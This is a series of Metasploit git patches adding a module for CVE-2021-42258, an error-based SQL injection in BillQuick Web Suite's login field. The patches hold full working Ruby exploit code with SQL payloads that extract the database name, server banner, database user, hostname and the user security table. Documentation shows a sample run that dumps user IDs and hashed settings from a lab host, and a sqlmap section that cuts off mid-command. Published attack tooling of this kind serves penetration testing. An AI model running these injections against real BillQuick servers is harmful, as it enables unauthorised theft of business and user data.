From d076127ca9af05a9e4868eb3446025763a81690a Mon Sep 17 00:00:00 2001 From: h00die Date: Wed, 27 Oct 2021 21:01:09 -0400 Subject: [PATCH 1/6] pulling values --- .../windows/http/billquick_txtid_sqli_rce.rb | 147 ++++++++++++++++++ 1 file changed, 147 insertions(+) create mode 100644 modules/exploits/windows/http/billquick_txtid_sqli_rce.rb diff --git a/modules/exploits/windows/http/billquick_txtid_sqli_rce.rb b/modules/exploits/windows/http/billquick_txtid_sqli_rce.rb new file mode 100644 index 0000000000..02f71d01c0 --- /dev/null +++ b/modules/exploits/windows/http/billquick_txtid_sqli_rce.rb @@ -0,0 +1,147 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = NormalRanking + + prepend Msf::Exploit::Remote::AutoCheck + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'BillQuick Web Suite txtID SQLi to RCE', + 'Description' => %q{ + This exploit module illustrates how a vulnerability could be exploited + in a webapp. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'h00die', # msf module + 'Caleb Stewart' # original PoC, analysis + ], + 'References' => [ + [ 'URL', 'https://www.huntress.com/blog/threat-advisory-hackers-are-exploiting-a-vulnerability-in-popular-billing-software-to-deploy-ransomware'], + [ 'CVE', '2021-42258'] + ], + 'Platform' => ['windows'], + 'Privileged' => false, + 'Arch' => [ARCH_X86, ARCH_X64], + 'Targets' => [ + [ 'Automatic Target', {}] + ], + 'DisclosureDate' => '2021-10-22', + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [], + 'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS] + } + ) + ) + # set the default port, and a URI that a user can set if the app isn't installed to the root + register_options( + [ + Opt::RPORT(80), + OptString.new('TARGETURI', [ true, 'The URI of BillQuick Web Suite', '/ws2020/']), + OptInt.new('TIMEOUT', [ true, 'The timeout for HTTP requests. Responses are slow.', 15]) + ], self.class + ) + end + + def check + begin + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'default.aspx'), + 'method' => 'GET' + }, datastore['TIMEOUT']) + fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? + fail_with(Failure::UnexpectedReply, "#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") if res.code != 200 + + # here we're looking through html for the version string, similar to: + # Version 1.2 + %r{Version: (?\d{1,2}\.\d{1,2}\.\d{1,2})\.\d{1,2}} =~ res.body + + if version && Rex::Version.new(version) <= Rex::Version.new('22.0.9.1') + return CheckCode::Appears("Version Detected: #{version}") + end + rescue ::Rex::ConnectionError + fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") + end + CheckCode::Safe("Unexploitable Version: #{version}") + end + + def error_info(body) + /BQEShowModalAlert\('Information','(?[^']+)/ =~ body + error + end + + def inject(content, state, generator, validation) + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'default.aspx'), + 'method' => 'POST', + 'vars_post' => { + '__VIEWSTATE' => state, + '__VIEWSTATEGENERATOR' => generator, + '__EVENTVALIDATION' => validation, + '__EVENTTARGET' => 'cmdOK', + '__EVENTARGUMENT' => '', + 'txtID' => content, + 'txtPW' => '', + 'hdnClientDPI' => '96' + } + }, datastore['TIMEOUT']) + + fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? + fail_with(Failure::UnexpectedReply, "#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") if res.code != 200 + res.body + end + + def exploit + vprint_status('Getting Variables') + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'default.aspx'), + 'method' => 'GET' + }, datastore['TIMEOUT']) + + fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? + fail_with(Failure::UnexpectedReply, "#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") if res.code != 200 + + /id="__VIEWSTATE" value="(?[^"]+)/ =~ res.body + /id="__VIEWSTATEGENERATOR" value="(?[^"]+)/ =~ res.body + /id="__EVENTVALIDATION" value="(?[^"]+)/ =~ res.body + unless viewstate && viewstategenerator && eventvalidation + fail_with(Failure::UnexpectedReply, 'Unable to find viewstate, viewstategenerator, and eventvalidation values.') + end + vprint_status("VIEWSTATE: #{viewstate}") + vprint_status("VIEWSTATEGENERATOR: #{viewstategenerator}") + vprint_status("EVENTVALIDATION: #{eventvalidation}") + + # all inject strings taken from sqlmap runs, using error page method + res = inject("'+(SELECT CHAR(80)+CHAR(66)+CHAR(120)+CHAR(110) WHERE 6678=6678 AND CHARINDEX(CHAR(49)+CHAR(53)+CHAR(46)+CHAR(48)+CHAR(46),@@VERSION)>0)+'", viewstate, viewstategenerator, eventvalidation) + /, table \\u0027(?.+?)\\u0027/ =~ error_info(res) + print_good("Current Database: #{table.split('.').first}") + + res = inject("'+(SELECT CHAR(115)+CHAR(102)+CHAR(71)+CHAR(76) WHERE 3944=3944 AND 1325 IN (SELECT (CHAR(113)+CHAR(113)+CHAR(113)+CHAR(113)+CHAR(113)+(SELECT SUBSTRING((ISNULL(CAST(@@VERSION AS NVARCHAR(4000)),CHAR(32))),1,1024))+CHAR(113)+CHAR(120)+CHAR(113)+CHAR(106)+CHAR(113))))+'", viewstate, viewstategenerator, eventvalidation) + /\\u0027(?.+?)\\u0027/ =~ error_info(res) + banner.slice!('qqqqq') + banner.slice!('qxqjq') + print_good("Banner: #{banner}") + + res = inject("'+(SELECT CHAR(119)+CHAR(70)+CHAR(107)+CHAR(100) WHERE 5430=5430 AND 8603 IN (SELECT (CHAR(113)+CHAR(113)+CHAR(113)+CHAR(113)+CHAR(113)+(SELECT SUBSTRING((ISNULL(CAST(SYSTEM_USER AS NVARCHAR(4000)),CHAR(32))),1,1024))+CHAR(113)+CHAR(120)+CHAR(113)+CHAR(106)+CHAR(113))))+'", viewstate, viewstategenerator, eventvalidation) + /\\u0027(?.+?)\\u0027/ =~ error_info(res) + user.slice!('qqqqq') + user.slice!('qxqjq') + print_good("DB User: #{user}") + + res = inject("'+(SELECT CHAR(120)+CHAR(113)+CHAR(107)+CHAR(113) WHERE 7201=7201 AND 7555 IN (SELECT (CHAR(113)+CHAR(113)+CHAR(113)+CHAR(113)+CHAR(113)+(SUBSTRING((ISNULL(CAST(@@SERVERNAME AS NVARCHAR(4000)),CHAR(32))),1,1024))+CHAR(113)+CHAR(120)+CHAR(113)+CHAR(106)+CHAR(113))))+'", viewstate, viewstategenerator, eventvalidation) + /\\u0027(?.+?)\\u0027/ =~ error_info(res) + hostname.slice!('qqqqq') + hostname.slice!('qxqjq') + print_good("Hostname: #{hostname}") + return + end +end From d0335ff2df3b49476a16517bb826f4eea3578b3b Mon Sep 17 00:00:00 2001 From: h00die Date: Thu, 28 Oct 2021 22:45:07 -0400 Subject: [PATCH 2/6] working module --- .../scanner/http/billquick_txtid_sqli.md | 84 ++++++++ .../scanner/http/billquick_txtid_sqli.rb | 195 ++++++++++++++++++ .../windows/http/billquick_txtid_sqli_rce.rb | 147 ------------- 3 files changed, 279 insertions(+), 147 deletions(-) create mode 100644 documentation/modules/auxiliary/scanner/http/billquick_txtid_sqli.md create mode 100644 modules/auxiliary/scanner/http/billquick_txtid_sqli.rb delete mode 100644 modules/exploits/windows/http/billquick_txtid_sqli_rce.rb diff --git a/documentation/modules/auxiliary/scanner/http/billquick_txtid_sqli.md b/documentation/modules/auxiliary/scanner/http/billquick_txtid_sqli.md new file mode 100644 index 0000000000..6ee0817854 --- /dev/null +++ b/documentation/modules/auxiliary/scanner/http/billquick_txtid_sqli.md @@ -0,0 +1,84 @@ +## Vulnerable Application + +This module exploits a SQL injection vulnerability in BillQUick Web +Suite prior to version 22.0.9.1. The application is .net based, and +the database is required to be MSSQL. Luckily the website gives +error based SQLi messages, so it is trivial to pull data from the +database. However the webapp uses an unknown password security +algorithm. This vulnerability does not seem to support stacked +queries. This module pulls the database name, banner, user, +hostname, and the SecurityTable (user table). + +### Install + +This install can be rather complicated and take about 2hrs to install. + +1. Download [ws2020](https://billquick.net/download/WS2020/WS2020Setup.zip) +1. Download [Bill Quick 2020](https://billquick.net/download/Billquick2020/BillQuick2020Setup.zip) +1. Install billquick 2020 +1. reboot +1. Install IIS per WS2020 instructions (non-default options in ws2020 install docs) +1. Install .NET Framework 3.5 (for sql server 2008, powershell: `Install-WindowsFeature Net-Framework-Core`) +1. Install MSSQL Server 2008 +1. Install ws2020 (.NET 4.5 is bundled, may need a reboot) +1. Open BillQuick V21 (on desktop). Configure it to a new database +1. visit http:///ws2020 and finish the install/config + +Even at this point, 2 people with these instructions and one independently were unable to login to +the webapp at this point. It can be SQLi, but no one was able to use it successfully. + +## Verification Steps + +1. Install the application +1. Start msfconsole +1. Do: `use auxiliary/scanner/http/billquick_txtid_sqli` +1. Do: `set rhosts [ip]` +1. Do: `run` +1. You should get info about the system and app. + +## Options + +### TIMEOUT + +As noted in the original discovery writeup, and verified during exploitation, the DB is very slow. A high timeout should be set. Defaults to `15` + +## Scenarios + +### BillQuick Web Suite 21.0.11 with BillQuick 2020 on Windows 2012 r2 with MSSQL 2008 + +``` +[*] Processing billquick.rb for ERB directives. +resource (billquick.rb)> use auxiliary/scanner/http/billquick_txtid_sqli +resource (billquick.rb)> set rhosts 1.1.1.1 +rhosts => 1.1.1.1 +resource (billquick.rb)> set verbose true +verbose => true +resource (billquick.rb)> exploit +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. Version Detected: 21.0.11 +[*] Getting Variables +[*] VIEWSTATE: /wEPDwULLTE4MzE3MTAzMjcPZBYEAgMPDxYCHgRUZXh0BRJWZXJzaW9uOiAyMS4wLjExLjFkZAIFD2QWBgIDD2QWBgIDDw9kFgIeBGhyZWYFKWphdmFzY3JpcHQ6RGlzcGxheUhlbHAoJy9sb2dpbi5odG0nLHRydWUpZAIFDw8WAh8AZWRkAgsPD2QWAh8BBboCamF2YXNjcmlwdDpPcGVuQ3VzdG9taXplZFBhZ2UoJ2h0dHA6Ly8xOTIuMTY4LjIuMTk3OjgwL3dzMjAyMC9BZG1pbi9mcm1TdGFydHVwT3B0aW9ucy5hc3B4P1JldHVyblVSTD1odHRwOi8vMTkyLjE2OC4yLjE5Nzo4MC93czIwMjAvZGVmYXVsdC5hc3B4JlJldHVyblBhdGg9QzovUHJvZ3JhbSBGaWxlcyAoeDg2KS9CaWxsUXVpY2sgV2ViIFN1aXRlL1dlYiBTdWl0ZSAyMDIwL3B1YmxpYycsJ09wdGlvbnMnLCdzdGF0dXM9MSx0b3A9MjAsbGVmdD03MCx0b29sYmFyPTAsd2lkdGg9OTYwLGhlaWdodD04NTAsc2Nyb2xsYmFycz0xLHJlc2l6YWJsZT0xJylkAgcPDxYCHgdWaXNpYmxlaGQWBAIBDxAPFgIfAmhkZGRkAgMPDxYCHwJoZGQCCQ9kFgICAw8PZBYCHgdvbmNsaWNrBYQBSmF2YVNjcmlwdDp2YXIgTnduZD0gd2luZG93Lm9wZW4oJ2h0dHA6Ly93d3cuYnFlLmNvbS9SZWFkeVRvQnV5LmFzcCcsJ0JpbGxRdWljaycsJ3N0YXR1cz0xLHJlc2l6YWJsZT0xJyk7IE53bmQuZm9jdXMoKTtyZXR1cm4gZmFsc2U7ZGStCLctJcrVYJp1DAA1gC3rEarKhZr4l+UhXjrUi4Di4g== +[*] VIEWSTATEGENERATOR: 35DBDDBD +[*] EVENTVALIDATION: /wEdAAdXT9yBxJ2SJPiixQkGOgS3iDzhgTayErTY5zy3eV0+KFncozjiY2uerT4fyhfyLsuRO4wbr9XDALim0BHyPei6XNiiK4rX19Q4jotFU35tutB+E+wdjwdLhtRmnvNWW5XjXQFozpEkqmpvVssmq69gY0kE5exFACTMA+fC7OwSIZ2agMpDV5u2LIZn3ODypK4= +[+] Current Database: test +[+] Banner: Microsoft SQL Server 2008 (RTM) - 10.0.1600.22 (X64) \n\tJul 9 2008 14:17:44 \n\tCopyright (c) 1988-2008 Microsoft Corporation\n\tDeveloper Edition (64-bit) on Windows NT 6.2 \u003cX64\u003e (Build 9200: ) (VM)\n +[+] DB User: sa +[+] Hostname: WIN-EDKFSE5QPAB +[+] User Count in test.dbo.SecurityTable: 2 +[+] Username: 111 +[+] User 111 settings: D848281C|1|1|1|0|1|1|1|0|1|1|1|1|1|1|1|1|1|1|0|0|0|1|0|1|0|0|0|1|1|1|0|0|0|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|0|0|0|0|0|0|0|0|0|0|0|0|0|0| +[+] Username: fl +[+] User fl settings: 45E97|1|1|1|0|1|1|1|0|1|1|1|1|1|1|1|1|1|1|0|0|0|1|0|1|0|0|0|1|1|1|0|0|0|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|0|0|0|0|0|0|0|0|0|0|0|0|0|0| +[+] test.dbo.SecurityTable +====================== + + EmployeeID Settings + ---------- -------- + 111 D848281C|1|1|1|0|1|1|1|0|1|1|1|1|1|1|1|1|1|1|0|0|0|1|0|1|0|0|0|1|1|1|0|0|0|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|0|0 + |0|0|0|0|0|0|0|0|0|0|0|0| + fl 45E97|1|1|1|0|1|1|1|0|1|1|1|1|1|1|1|1|1|1|0|0|0|1|0|1|0|0|0|1|1|1|0|0|0|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|0|0|0| + 0|0|0|0|0|0|0|0|0|0|0| + +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +``` diff --git a/modules/auxiliary/scanner/http/billquick_txtid_sqli.rb b/modules/auxiliary/scanner/http/billquick_txtid_sqli.rb new file mode 100644 index 0000000000..69bc0cfb54 --- /dev/null +++ b/modules/auxiliary/scanner/http/billquick_txtid_sqli.rb @@ -0,0 +1,195 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + + prepend Msf::Exploit::Remote::AutoCheck + include Msf::Auxiliary::Scanner + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'BillQuick Web Suite txtID SQLi', + 'Description' => %q{ + This module exploits a SQL injection vulnerability in BillQUick Web Suite prior to version 22.0.9.1. + The application is .net based, and the database is required to be MSSQL. Luckily the website gives + error based SQLi messages, so it is trivial to pull data from the database. However the webapp + uses an unknown password security algorithm. This vulnerability does not seem to support stacked + queries. + This module pulls the database name, banner, user, hostname, and the SecurityTable (user table). + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'h00die', # msf module + 'Caleb Stewart' # original PoC, analysis + ], + 'References' => [ + ['URL', 'https://www.huntress.com/blog/threat-advisory-hackers-are-exploiting-a-vulnerability-in-popular-billing-software-to-deploy-ransomware'], + ['URL', 'http://billquick.net/download/Support_Download/BQWS2021Upgrade/WebSuite2021LogFile_9_1.pdf'], + ['CVE', '2021-42258'] + ], + 'DisclosureDate' => '2021-10-22', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [], + 'SideEffects' => [IOC_IN_LOGS] + } + ) + ) + register_options( + [ + Opt::RPORT(80), + OptString.new('TARGETURI', [ true, 'The URI of BillQuick Web Suite', '/ws2020/']), + OptInt.new('TIMEOUT', [ true, 'The timeout for HTTP requests. Responses are slow.', 15]) + ], self.class + ) + end + + def check + begin + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'default.aspx'), + 'method' => 'GET' + }, datastore['TIMEOUT']) + fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? + fail_with(Failure::UnexpectedReply, "#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") if res.code != 200 + + %r{Version: (?\d{1,2}\.\d{1,2}\.\d{1,2})\.\d{1,2}} =~ res.body + + if version && Rex::Version.new(version) <= Rex::Version.new('22.0.9.1') + return Exploit::CheckCode::Appears("Version Detected: #{version}") + end + rescue ::Rex::ConnectionError + fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") + end + Exploit::CheckCode::Safe("Unexploitable Version: #{version}") + end + + def rand_chars(len = 6) + Rex::Text.rand_text_alpha(len) + end + + def char_list(string) + ('char(' + string.split('').map(&:ord).join(')+char(') + ')').to_s + end + + def error_info(body) + /BQEShowModalAlert\('Information','(?[^']+)/ =~ body + error + end + + def inject(content, state, generator, validation) + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'default.aspx'), + 'method' => 'POST', + 'vars_post' => { + '__VIEWSTATE' => state, + '__VIEWSTATEGENERATOR' => generator, + '__EVENTVALIDATION' => validation, + '__EVENTTARGET' => 'cmdOK', + '__EVENTARGUMENT' => '', + 'txtID' => content, + 'txtPW' => '', + 'hdnClientDPI' => '96' + } + }, datastore['TIMEOUT']) + + fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? + fail_with(Failure::UnexpectedReply, "#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") if res.code != 200 + res.body + end + + def run_host(_ip) + vprint_status('Getting Variables') + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'default.aspx'), + 'method' => 'GET' + }, datastore['TIMEOUT']) + + fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? + fail_with(Failure::UnexpectedReply, "#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") if res.code != 200 + + /id="__VIEWSTATE" value="(?[^"]+)/ =~ res.body + /id="__VIEWSTATEGENERATOR" value="(?[^"]+)/ =~ res.body + /id="__EVENTVALIDATION" value="(?[^"]+)/ =~ res.body + unless viewstate && viewstategenerator && eventvalidation + fail_with(Failure::UnexpectedReply, 'Unable to find viewstate, viewstategenerator, and eventvalidation values.') + end + vprint_status("VIEWSTATE: #{viewstate}") + vprint_status("VIEWSTATEGENERATOR: #{viewstategenerator}") + vprint_status("EVENTVALIDATION: #{eventvalidation}") + + header = rand_chars + footer = rand_chars + header_char = char_list(header) + footer_char = char_list(footer) + int = Rex::Text.rand_text_numeric(4) + + # all inject strings taken from sqlmap runs, using error page method + res = inject("'+(SELECT #{char_list(rand_chars)} WHERE #{int}=#{int} AND CHARINDEX(CHAR(49)+CHAR(53)+CHAR(46)+CHAR(48)+CHAR(46),@@VERSION)>0)+'", viewstate, viewstategenerator, eventvalidation) + /, table \\u0027(?
.+?)\\u0027/ =~ error_info(res) + print_good("Current Database: #{table.split('.').first}") + + res = inject("'+(SELECT #{char_list(rand_chars)} WHERE #{int}=#{int} AND 1325 IN (SELECT (#{header_char}+(SELECT SUBSTRING((ISNULL(CAST(@@VERSION AS NVARCHAR(4000)),CHAR(32))),1,1024))+#{footer_char})))+'", viewstate, viewstategenerator, eventvalidation) + /\\u0027(?.+?)\\u0027/ =~ error_info(res) + banner.slice!(header) + banner.slice!(footer) + print_good("Banner: #{banner}") + + res = inject("'+(SELECT #{char_list(rand_chars)} WHERE #{int}=#{int} AND 8603 IN (SELECT (#{header_char}+(SELECT SUBSTRING((ISNULL(CAST(SYSTEM_USER AS NVARCHAR(4000)),CHAR(32))),1,1024))+#{footer_char})))+'", viewstate, viewstategenerator, eventvalidation) + /\\u0027(?.+?)\\u0027/ =~ error_info(res) + user.slice!(header) + user.slice!(footer) + print_good("DB User: #{user}") + + res = inject("'+(SELECT #{char_list(rand_chars)} WHERE #{int}=#{int} AND 7555 IN (SELECT (#{header_char}+(SUBSTRING((ISNULL(CAST(@@SERVERNAME AS NVARCHAR(4000)),CHAR(32))),1,1024))+#{footer_char})))+'", viewstate, viewstategenerator, eventvalidation) + /\\u0027(?.+?)\\u0027/ =~ error_info(res) + hostname.slice!(header) + hostname.slice!(footer) + print_good("Hostname: #{hostname}") + + sec_table = "#{table.split('.')[0...-1].join('.')}.SecurityTable" + + # get user count from SecurityTable + res = inject("'+(SELECT #{char_list(rand_chars)} WHERE #{int}=#{int} AND 8815 IN (SELECT (#{header_char}+(SELECT ISNULL(CAST(COUNT(*) AS NVARCHAR(4000)),CHAR(32)) FROM #{sec_table} WHERE ModuleID=0)+#{footer_char})))+'", viewstate, viewstategenerator, eventvalidation) + /\\u0027(?.+?)\\u0027/ =~ error_info(res) + user_count.slice!(header) + user_count.slice!(footer) + print_good("User Count in #{sec_table}: #{user_count}") + + table = Rex::Text::Table.new( + 'Header' => sec_table, + 'Indent' => 1, + 'SortIndex' => -1, + 'Columns' => + [ + 'EmployeeID', + 'Settings', + ] + ) + + (1..user_count.to_i).each do |index| + # username + # select EmployeeID from test.dbo.SecurityTable where ModuleID=0 + res = inject("'+(SELECT #{char_list(rand_chars)} WHERE #{int}=#{int} AND 2292 IN (SELECT (#{header_char}+(SELECT TOP 1 SUBSTRING((ISNULL(CAST(EmployeeID AS NVARCHAR(4000)),CHAR(32))),1,1024) FROM #{sec_table} WHERE ModuleID=0 AND ISNULL(CAST(EmployeeID AS NVARCHAR(4000)),CHAR(32)) NOT IN (SELECT TOP #{index - 1} ISNULL(CAST(EmployeeID AS NVARCHAR(4000)),CHAR(32)) FROM #{sec_table} WHERE ModuleID=0 ORDER BY EmployeeID) ORDER BY EmployeeID)+#{footer_char})))+'", viewstate, viewstategenerator, eventvalidation) + /\\u0027(?.+?)\\u0027/ =~ error_info(res) + username.slice!(header) + username.slice!(footer) + print_good("Username: #{username}") + + # settings + # select Settings from test.dbo.SecurityTable where ModuleID=0 + res = inject("'+(SELECT #{char_list(rand_chars)} WHERE #{int}=#{int} AND 7411 IN (SELECT (#{header_char}+(SELECT TOP 1 SUBSTRING((ISNULL(CAST(Settings AS NVARCHAR(4000)),CHAR(32))),1,1024) FROM #{sec_table} WHERE ModuleID=0 AND ISNULL(CAST(EmployeeID AS NVARCHAR(4000)),CHAR(32)) NOT IN (SELECT TOP #{index - 1} ISNULL(CAST(EmployeeID AS NVARCHAR(4000)),CHAR(32)) FROM #{sec_table} WHERE ModuleID=0 ORDER BY EmployeeID) ORDER BY EmployeeID)+#{footer_char})))+'", viewstate, viewstategenerator, eventvalidation) + /\\u0027(?.+?)\\u0027/ =~ error_info(res) + settings.slice!(header) + settings.slice!(footer) + print_good("User #{username} settings: #{settings}") + table << [username, settings] + end + print_good(table.to_s) + end +end diff --git a/modules/exploits/windows/http/billquick_txtid_sqli_rce.rb b/modules/exploits/windows/http/billquick_txtid_sqli_rce.rb deleted file mode 100644 index 02f71d01c0..0000000000 --- a/modules/exploits/windows/http/billquick_txtid_sqli_rce.rb +++ /dev/null @@ -1,147 +0,0 @@ -## -# This module requires Metasploit: https://metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -class MetasploitModule < Msf::Exploit::Remote - Rank = NormalRanking - - prepend Msf::Exploit::Remote::AutoCheck - include Msf::Exploit::Remote::HttpClient - - def initialize(info = {}) - super( - update_info( - info, - 'Name' => 'BillQuick Web Suite txtID SQLi to RCE', - 'Description' => %q{ - This exploit module illustrates how a vulnerability could be exploited - in a webapp. - }, - 'License' => MSF_LICENSE, - 'Author' => [ - 'h00die', # msf module - 'Caleb Stewart' # original PoC, analysis - ], - 'References' => [ - [ 'URL', 'https://www.huntress.com/blog/threat-advisory-hackers-are-exploiting-a-vulnerability-in-popular-billing-software-to-deploy-ransomware'], - [ 'CVE', '2021-42258'] - ], - 'Platform' => ['windows'], - 'Privileged' => false, - 'Arch' => [ARCH_X86, ARCH_X64], - 'Targets' => [ - [ 'Automatic Target', {}] - ], - 'DisclosureDate' => '2021-10-22', - 'DefaultTarget' => 0, - 'Notes' => { - 'Stability' => [CRASH_SAFE], - 'Reliability' => [], - 'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS] - } - ) - ) - # set the default port, and a URI that a user can set if the app isn't installed to the root - register_options( - [ - Opt::RPORT(80), - OptString.new('TARGETURI', [ true, 'The URI of BillQuick Web Suite', '/ws2020/']), - OptInt.new('TIMEOUT', [ true, 'The timeout for HTTP requests. Responses are slow.', 15]) - ], self.class - ) - end - - def check - begin - res = send_request_cgi({ - 'uri' => normalize_uri(target_uri.path, 'default.aspx'), - 'method' => 'GET' - }, datastore['TIMEOUT']) - fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? - fail_with(Failure::UnexpectedReply, "#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") if res.code != 200 - - # here we're looking through html for the version string, similar to: - # Version 1.2 - %r{Version: (?\d{1,2}\.\d{1,2}\.\d{1,2})\.\d{1,2}} =~ res.body - - if version && Rex::Version.new(version) <= Rex::Version.new('22.0.9.1') - return CheckCode::Appears("Version Detected: #{version}") - end - rescue ::Rex::ConnectionError - fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") - end - CheckCode::Safe("Unexploitable Version: #{version}") - end - - def error_info(body) - /BQEShowModalAlert\('Information','(?[^']+)/ =~ body - error - end - - def inject(content, state, generator, validation) - res = send_request_cgi({ - 'uri' => normalize_uri(target_uri.path, 'default.aspx'), - 'method' => 'POST', - 'vars_post' => { - '__VIEWSTATE' => state, - '__VIEWSTATEGENERATOR' => generator, - '__EVENTVALIDATION' => validation, - '__EVENTTARGET' => 'cmdOK', - '__EVENTARGUMENT' => '', - 'txtID' => content, - 'txtPW' => '', - 'hdnClientDPI' => '96' - } - }, datastore['TIMEOUT']) - - fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? - fail_with(Failure::UnexpectedReply, "#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") if res.code != 200 - res.body - end - - def exploit - vprint_status('Getting Variables') - res = send_request_cgi({ - 'uri' => normalize_uri(target_uri.path, 'default.aspx'), - 'method' => 'GET' - }, datastore['TIMEOUT']) - - fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? - fail_with(Failure::UnexpectedReply, "#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") if res.code != 200 - - /id="__VIEWSTATE" value="(?[^"]+)/ =~ res.body - /id="__VIEWSTATEGENERATOR" value="(?[^"]+)/ =~ res.body - /id="__EVENTVALIDATION" value="(?[^"]+)/ =~ res.body - unless viewstate && viewstategenerator && eventvalidation - fail_with(Failure::UnexpectedReply, 'Unable to find viewstate, viewstategenerator, and eventvalidation values.') - end - vprint_status("VIEWSTATE: #{viewstate}") - vprint_status("VIEWSTATEGENERATOR: #{viewstategenerator}") - vprint_status("EVENTVALIDATION: #{eventvalidation}") - - # all inject strings taken from sqlmap runs, using error page method - res = inject("'+(SELECT CHAR(80)+CHAR(66)+CHAR(120)+CHAR(110) WHERE 6678=6678 AND CHARINDEX(CHAR(49)+CHAR(53)+CHAR(46)+CHAR(48)+CHAR(46),@@VERSION)>0)+'", viewstate, viewstategenerator, eventvalidation) - /, table \\u0027(?
.+?)\\u0027/ =~ error_info(res) - print_good("Current Database: #{table.split('.').first}") - - res = inject("'+(SELECT CHAR(115)+CHAR(102)+CHAR(71)+CHAR(76) WHERE 3944=3944 AND 1325 IN (SELECT (CHAR(113)+CHAR(113)+CHAR(113)+CHAR(113)+CHAR(113)+(SELECT SUBSTRING((ISNULL(CAST(@@VERSION AS NVARCHAR(4000)),CHAR(32))),1,1024))+CHAR(113)+CHAR(120)+CHAR(113)+CHAR(106)+CHAR(113))))+'", viewstate, viewstategenerator, eventvalidation) - /\\u0027(?.+?)\\u0027/ =~ error_info(res) - banner.slice!('qqqqq') - banner.slice!('qxqjq') - print_good("Banner: #{banner}") - - res = inject("'+(SELECT CHAR(119)+CHAR(70)+CHAR(107)+CHAR(100) WHERE 5430=5430 AND 8603 IN (SELECT (CHAR(113)+CHAR(113)+CHAR(113)+CHAR(113)+CHAR(113)+(SELECT SUBSTRING((ISNULL(CAST(SYSTEM_USER AS NVARCHAR(4000)),CHAR(32))),1,1024))+CHAR(113)+CHAR(120)+CHAR(113)+CHAR(106)+CHAR(113))))+'", viewstate, viewstategenerator, eventvalidation) - /\\u0027(?.+?)\\u0027/ =~ error_info(res) - user.slice!('qqqqq') - user.slice!('qxqjq') - print_good("DB User: #{user}") - - res = inject("'+(SELECT CHAR(120)+CHAR(113)+CHAR(107)+CHAR(113) WHERE 7201=7201 AND 7555 IN (SELECT (CHAR(113)+CHAR(113)+CHAR(113)+CHAR(113)+CHAR(113)+(SUBSTRING((ISNULL(CAST(@@SERVERNAME AS NVARCHAR(4000)),CHAR(32))),1,1024))+CHAR(113)+CHAR(120)+CHAR(113)+CHAR(106)+CHAR(113))))+'", viewstate, viewstategenerator, eventvalidation) - /\\u0027(?.+?)\\u0027/ =~ error_info(res) - hostname.slice!('qqqqq') - hostname.slice!('qxqjq') - print_good("Hostname: #{hostname}") - return - end -end From 25c15dc56ccb1b1b3e18749fa03469f95a06f4b6 Mon Sep 17 00:00:00 2001 From: h00die Date: Thu, 28 Oct 2021 22:53:32 -0400 Subject: [PATCH 3/6] sqlmap in docs --- .../auxiliary/scanner/http/billquick_txtid_sqli.md | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/documentation/modules/auxiliary/scanner/http/billquick_txtid_sqli.md b/documentation/modules/auxiliary/scanner/http/billquick_txtid_sqli.md index 6ee0817854..a3fa14a467 100644 --- a/documentation/modules/auxiliary/scanner/http/billquick_txtid_sqli.md +++ b/documentation/modules/auxiliary/scanner/http/billquick_txtid_sqli.md @@ -82,3 +82,11 @@ resource (billquick.rb)> exploit [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed ``` + +## SQLMap Equivalent + +You'll need a valid `VIEWSTATE`, `VIEWSTATEGENERATOR`, `EVENTVALIDATION`. + +``` +sqlmap 